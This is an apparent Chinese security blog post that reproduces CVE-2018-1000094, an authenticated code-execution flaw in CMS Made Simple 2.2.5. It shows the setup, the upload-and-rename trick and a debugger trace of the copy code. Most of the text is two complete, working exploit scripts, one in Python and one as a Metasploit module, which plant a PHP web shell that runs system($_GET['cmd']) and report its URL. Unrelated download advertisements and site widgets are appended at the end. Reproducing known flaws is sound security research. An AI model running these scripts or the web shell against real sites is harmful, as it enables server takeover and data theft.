mysql5.5.53 cve_CVE-2018-1000094-CMSMS 2.2.5代码执行漏洞

0x01 前言

CMS Made Simple是一个简单易于使用的内容管理系统。它使用PHP,MySQL和Smarty模板引擎开发。

昨天看漏洞库的时候看到这一款CMS,漏洞操作也挺简单的,但是可以申请CVE,于是乎就复现了一篇过程和写漏洞脚本。

0x02 环境

下载下来是一个安装文件cmsms-2.2.5-install.php,浏览器直接打开

817dae6d970657f631807eac1404ab5b.png

默认Next,到数据库连接这一块要先创建一个数据库,我这里创建一个名为simple的数据库,然后填上数据库连接信息

3d3e9e717d32e6e4648777dca7db1c13.png

f93785eb8102599d5da861c2d4135b6f.png

填写管理账号密码信息

c461315d68ad338dcebeb5391dcea20c.png

填写可写可读的目录和选择语言

9cec4daf5d0c5c7fce4fe75bf769d4d6.png

安装完成,除了邮件模块,不过也用不上。

d88cb8dc88c4403e019734e954206117.png

0x03 漏洞复现过程

登录后台

78f6477b5a2a4702ce0a8817cc78d5b6.png

选择File Manager

7fdc0b3ae48c87207c6989ebf51a9ff1.png

编写一个文件名为a.txt内容为<?php phpinfo();?>的文件,然后点击上传。

57451bd866ccf66595a3abd6efb929a5.png

选中a.txt,点击copy,名字改为rce.php,然后确定

47bb8774b8828a578f19311331d5e408.png

5f641ff1c7f6b8a8ac4fdcf4d7ed860e.png

文件就copy过来了,有点类似系统的copy命令。

708dad8fb3c1c6e19439af2ca6ca18f5.png

访问rce.php

37a2318b00228acb744626262e59ca13.png

0x04 漏洞分析过程

还记得上一篇的phpok的分析,如果找不出关键文件,可以抓包分析。

b5724816df9a480c84adfac382d964c4.png

ea718349286318fa2860344a97d583d4.png

可以看到主要是通过文件admin/moduleinterface.php文件进行操作的。

22af97b8aa0f0bd8e925ada49d48723c.png

可能这样看会让人很乱,我们可以用phpstorm的debug来调试整个过程

相关配置可以看https://getpass.cn/2018/04/10/Breakpoint%20debugging%20with%20phpstorm+xdebug/

从上面的抓包可以看出来,mact参数是FileManager,m1_是fileaction,大家可以去这里下断点然后一步一步分析整个流程。

6f4c529ffc15f461162947972c52659f.png

有经验可以看出来,FileManager就是modules\FileManager目录,fileaction就是modules/FileManager/action.fileaction.php文件,再往下看代码的68行,可以看到我们的copy操作的代码。

if (isset($params[zxsq-anti-bbcode-"fileactioncopy"]) || $fileaction=="copy") {

include_once(__DIR__."/action.copy.php");

return;

}

我们找到这个文件action.copy.php,我们在93行下一个断点,然后去操作copy,可以看到有各种很详细的参数信息。

7f7624b643a703f767e14865b98798c8.png

244614a86b57539dee516e93c6f43894.png

我们F7单步走,可以看到执行$res = copy($src,$dest);的时候没有发生错误。

dd5aa2de7d4ac9db48f8b282ecaaf2bd.png

这样就正式完成了所有操作,如有不懂可以看下官方文档的copy函数的用法http://www.php.net/manual/en/function.copy.php

0x05 漏洞脚本

python版本

import requests

import base64

base_url = "http://127.0.0.1/cmsms/admin"

upload_dir = "/uploads"

upload_url = base_url.split('/admin')[zxsq-anti-bbcode-0] + upload_dir

username = "admin"

password = "123456"

csrf_param = "__c"

txt_filename = 'cmsmsrce.txt'

php_filename = 'shell.php'

payload = "<?php system($_GET[zxsq-anti-bbcode-'cmd']);?>"

def parse_csrf_token(location):

return location.split(csrf_param + "=")[zxsq-anti-bbcode-1]

def authenticate():

page = "/login.php"

url = base_url + page

data = {

"username": username,

"password": password,

"loginsubmit": "Submit"

}

response  = requests.post(url, data=data, allow_redirects=False)

status_code = response.status_code

if status_code == 302:

print "[zxsq-anti-bbcode-+] Authenticated successfully with the supplied credentials"

return response.cookies, parse_csrf_token(response.headers[zxsq-anti-bbcode-'Location'])

print "[zxsq-anti-bbcode--] Authentication failed"

return None, None

def upload_txt(cookies, csrf_token):

mact = "FileManager,m1_,upload,0"

page = "/moduleinterface.php"

url = base_url + page

data = {

"mact": mact,

csrf_param: csrf_token,

"disable_buffer": 1

}

txt = {

'm1_files[]': (txt_filename, payload)

}

print " Attempting to upload {}...".format(txt_filename)

response = requests.post(url, data=data, files=txt, cookies=cookies)

status_code = response.status_code

if status_code == 200:

print "[zxsq-anti-bbcode-+] Successfully uploaded {}".format(txt_filename)

return True

print "[zxsq-anti-bbcode--] An error occurred while uploading {}".format(txt_filename)

return None

def copy_to_php(cookies, csrf_token):

mact = "FileManager,m1_,fileaction,0"

page = "/moduleinterface.php"

url = base_url + page

b64 = base64.b64encode(txt_filename)

serialized = 'a:1:{{i:0;s:{}:"{}";}}'.format(len(b64), b64)

data = {

"mact": mact,

csrf_param: csrf_token,

"m1_fileactioncopy": "",

"m1_path": upload_dir,

"m1_selall": serialized,

"m1_destdir": "/",

"m1_destname": php_filename,

"m1_submit": "Copy"

}

print " Attempting to copy {} to {}...".format(txt_filename, php_filename)

response = requests.post(url, data=data, cookies=cookies, allow_redirects=False)

status_code = response.status_code

if status_code == 302:

if response.headers[zxsq-anti-bbcode-'Location'].endswith('copysuccess'):

print "[zxsq-anti-bbcode-+] File copied successfully"

return True

print "[zxsq-anti-bbcode--] An error occurred while copying, maybe {} already exists".format(php_filename)

return None

def quit():

print "[zxsq-anti-bbcode--] Exploit failed"

exit()

def run():

cookies,csrf_token = authenticate()

if not cookies:

quit()

if not upload_txt(cookies, csrf_token):

quit()

if not copy_to_php(cookies, csrf_token):

quit()

print "[zxsq-anti-bbcode-+] Exploit succeeded, shell can be found at: {}".format(upload_url + '/' + php_filename)

run()

MSF版本

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name'            => 'CMS Made Simple Authenticated RCE via File Upload/Copy',

'Description'     => %q{

CMS Made Simple v2.2.5 allows an authenticated administrator to upload a file

and rename it to have a .php extension. The file can then be executed by opening

the URL of the file in the /uploads/ directory.

},

'Author' =>

[

'Mustafa Hasen',  # Vulnerability discovery and EDB PoC

'Jacob Robles'    # Metasploit Module

],

'License'         => MSF_LICENSE,

'References'      =>

[

[zxsq-anti-bbcode- 'CVE', '2018-1000094' ],

[zxsq-anti-bbcode- 'CWE', '434' ],

[zxsq-anti-bbcode- 'EDB', '44976' ],

[zxsq-anti-bbcode- 'URL', 'http://dev.cmsmadesimple.org/bug/view/11741' ]

],

'Privileged'  => false,

'Platform'  => [zxsq-anti-bbcode- 'php' ],

'Arch'  => ARCH_PHP,

'Targets' =>

[

[zxsq-anti-bbcode- 'Universal', {} ],

],

'DefaultTarget'  => 0,

'DisclosureDate' => 'Jul 03 2018'))

register_options(

[

OptString.new('TARGETURI', [zxsq-anti-bbcode- true, "Base cmsms directory path", '/cmsms/']),

OptString.new('USERNAME', [zxsq-anti-bbcode- true, "Username to authenticate with", '']),

OptString.new('PASSWORD', [zxsq-anti-bbcode- true, "Password to authenticate with", ''])

])

register_advanced_options ([

OptBool.new('ForceExploit',  [zxsq-anti-bbcode-false, 'Override check result', false])

])

end

def check

res = send_request_cgi({

'uri' => normalize_uri(target_uri.path),

'method' => 'GET'

})

unless res

vprint_error 'Connection failed'

return CheckCode::Unknown

end

unless res.body =~ /CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/

return CheckCode::Unknown

end

version = Gem::Version.new($1)

vprint_status("#{peer} - CMS Made Simple Version: #{version}")

if version == Gem::Version.new('2.2.5')

return CheckCode::Appears

end

if version < Gem::Version.new('2.2.5')

return CheckCode::Detected

end

CheckCode::Safe

end

def exploit

unless [zxsq-anti-bbcode-CheckCode::Detected, CheckCode::Appears].include?(check)

unless datastore[zxsq-anti-bbcode-'ForceExploit']

fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'

end

print_warning 'Target does not appear to be vulnerable'

end

res = send_request_cgi({

'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),

'method' => 'POST',

'vars_post' => {

'username' => datastore[zxsq-anti-bbcode-'USERNAME'],

'password' => datastore[zxsq-anti-bbcode-'PASSWORD'],

'loginsubmit' => 'Submit'

}

})

unless res

fail_with(Failure::NotFound, 'A response was not received from the remote host')

end

unless res.code == 302 && res.get_cookies && res.headers[zxsq-anti-bbcode-'Location'] =~ /\/admin\?(.*)?=(.*)/

fail_with(Failure::NoAccess, 'Authentication was unsuccessful')

end

vprint_good("#{peer} - Authentication successful")

csrf_name = $1

csrf_val = $2

csrf = {csrf_name => csrf_val}

cookies = res.get_cookies

filename = rand_text_alpha(8..12)

# Generate form data

message = Rex::MIME::Message.new

message.add_part(csrf[zxsq-anti-bbcode-csrf_name], nil, nil, "form-data; name=\"#{csrf_name}\"")

message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')

message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')

message.add_part(payload.encoded, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}.txt\"")

data = message.to_s

res = send_request_cgi({

'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'),

'method' => 'POST',

'data' => data,

'ctype' => "multipart/form-data; boundary=#{message.bound}",

'cookie' => cookies

})

unless res && res.code == 200

fail_with(Failure::UnexpectedReply, 'Failed to upload the text file')

end

vprint_good("#{peer} - File uploaded #{filename}.txt")

fileb64 = Rex::Text.encode_base64("#{filename}.txt")

data = {

'mact' => 'FileManager,m1_,fileaction,0',

"m1_fileactioncopy" => "",

'm1_selall' => "a:1:{i:0;s:#{fileb64.length}:\"#{fileb64}\";}",

'm1_destdir' => '/',

'm1_destname' => "#{filename}.php",

'm1_path' => '/uploads',

'm1_submit' => 'Copy',

csrf_name => csrf_val

}

res = send_request_cgi({

'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'),

'method' => 'POST',

'cookie' => cookies,

'vars_post' => data

})

unless res

fail_with(Failure::NotFound, 'A response was not received from the remote host')

end

unless res.code == 302 && res.headers[zxsq-anti-bbcode-'Location'].to_s.include?('copysuccess')

fail_with(Failure::UnexpectedReply, 'Failed to rename the file')

end

vprint_good("#{peer} - File renamed #{filename}.php")

res = send_request_cgi({

'uri' => normalize_uri(target_uri.path, 'uploads', "#{filename}.php"),

'method' => 'GET',

'cookie' => cookies

})

end

end

0x06 参考

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【优质项目推荐】 1、项目代码均经过严格本地测试,运行OK,确保功能稳定后才上传平台。可放心下载并立即投入使用,若遇到任何使用问题,随时欢迎私信反馈与沟通,博主会第一时间回复。 2、项目适用于计算机相关专业(如计科、信息安全、数据科学、人工智能、通信、物联网、自动化、电子信息等)的在校学生、专业教师,或企业员工,小白入门等都适用。 3、该项目不仅具有很高的学习借鉴价值,对于初学者来说,也是入门进阶的绝佳选择;当然也可以直接用于 毕设、课设、期末大作业或项目初期立项演示等。 3、开放创新:如果您有一定基础,且热爱探索钻研,可以在此代码基础上二次开发,进行修改、扩展,创造出属于自己的独特应用。 欢迎下载使用优质资源!欢迎借鉴使用,并欢迎学习交流,共同探索编程的无穷魅力! 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip
提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值